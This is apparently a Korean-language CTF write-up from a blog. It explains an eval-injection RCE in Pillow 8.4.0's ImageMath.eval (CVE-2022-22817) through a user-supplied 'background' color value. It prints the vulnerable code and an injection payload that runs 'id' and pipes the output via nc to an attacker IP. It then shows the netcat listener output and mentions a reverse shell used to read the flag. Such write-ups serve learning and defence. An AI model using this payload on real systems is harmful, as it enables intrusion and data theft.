티스토리 뷰
문제 개요
RCE with ImageMath.eval function in Pillow(v8.4.0) python package
코드 분석
requirements.txt 파일을 보면 Pillow==8.4.0 이 설치되어 있다고 합니다. 그리고 util.py 에는 마침 ImageMath.eval 함수가 정의되어 있는 것을 볼 수 있습니다.
import os, base64
from PIL import Image, ImageMath
from io import BytesIO
import traceback
generate = lambda x: os.urandom(x).hex()
def make_alpha(data):
color = data.get('background', [255,255,255])
print(color)
try:
dec_img = base64.b64decode(data.get('image').encode())
image = Image.open(BytesIO(dec_img)).convert('RGBA')
img_bands = [band.convert('F') for band in image.split()]
alpha = ImageMath.eval(
f'''float(
max(
max(
max(
difference1(red_band, {color[0]}),
difference1(green_band, {color[1]})
),
difference1(blue_band, {color[2]})
),
max(
max(
difference2(red_band, {color[0]}),
difference2(green_band, {color[1]})
),
difference2(blue_band, {color[2]})
)
)
)''',
difference1=lambda source, color: (source - color) / (255.0 - color),
difference2=lambda source, color: (color - source) / color,
red_band=img_bands[0],
green_band=img_bands[1],
blue_band=img_bands[2]
)
new_bands = [
ImageMath.eval(
'convert((image - color) / alpha + color, "L")',
image=img_bands[i],
color=color[i],
alpha=alpha
)
for i in range(3)
]
new_bands.append(ImageMath.eval(
'convert(alpha_band * alpha, "L")',
alpha=alpha,
alpha_band=img_bands[3]
))
new_image = Image.merge('RGBA', new_bands)
background = Image.new('RGB', new_image.size, (0, 0, 0, 0))
background.paste(new_image.convert('RGB'), mask=new_image)
buffer = BytesIO()
new_image.save(buffer, format='PNG')
return {
'image': f'data:image/png;base64,{base64.b64encode(buffer.getvalue()).decode()}'
}, 200
except Exception as e:
traceback.print_exc()
return '', 400
data.get('background', [255, 255, 255]) 코드 부분이 바로 사용자 input 입니다. 그리고 alpha 변수에 대입되는 부분에 format string 이 있고, 사용자가 입력한 input 이 해당 문자열에 대입됨을 알 수 있습니다. 이 때 background 값을 가져올 때 별도의 integer 값만 가져올 수 있게 자료형 제한을 하고 있지 않기 때문에 문자열을 삽입함으로써 python 임의코드를 실행할 수 있게 됩니다.
ImageMath.eval 함수의 관련 CVE 내용은 아래 링크에서 찾아볼 수 있습니다.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22817
임의 코드 실행 관련 코드와 이를 보완한 코드는 아래 링크에 찾아볼 수 있습니다.
https://github.com/python-pillow/Pillow/commit/8531b01d6cdf0b70f256f93092caa2a5d91afc11
문제 풀이
아무런 이미지를 업로드할 때 background 색을 별도로 지정하지 않으면 아래와 같은 페이로드가 전송됩니다.
이제 여기서 첫번째 255를 아래 코드로 대입하고서 실행해보았습니다.
(__import__('os').system('id|nc 공격자IP주소:포트'))
그랬더니 아래와 같이 id 내용이 잘 돌아온 것을 볼 수 있습니다.
PS C:\Users\Domdomi\netcat> .\nc.exe -lvnp 9093
listening on [any] 9093 ...
connect to [192.168.1.11] from (UNKNOWN) [192.168.1.12] 38459
uid=1000(www) gid=1000(www) groups=1000(www)
이와 같이 해서 실제 문제 풀이 당시에는 python 코드로 리버스쉘을 열어서 /flag.txt 의 내용을 읽어들여 문제를 풀었습니다.
마무리
나름 최근에 알려진 라이브러리 취약점을 이용한 문제여서 그런지 더욱 흥미로웠던 문제였던 것 같습니다.
'보안 > CTF' 카테고리의 다른 글
[Hackthebox] Acnologia Portal Writeup(문제풀이) (0) | 2022.05.24 |
---|---|
[Hackthebox] Intergalactic Post Writeup(문제풀이) (0) | 2022.05.24 |
[Hackthebox] BlinkerFluids Writeup(문제풀이) (0) | 2022.05.22 |
[LINECTF2022] [WEB] gotm 문제풀이(writeup) (0) | 2022.03.28 |
[LINECTF2022] [WEB] Memo Drive 문제풀이(writeup) (0) | 2022.03.28 |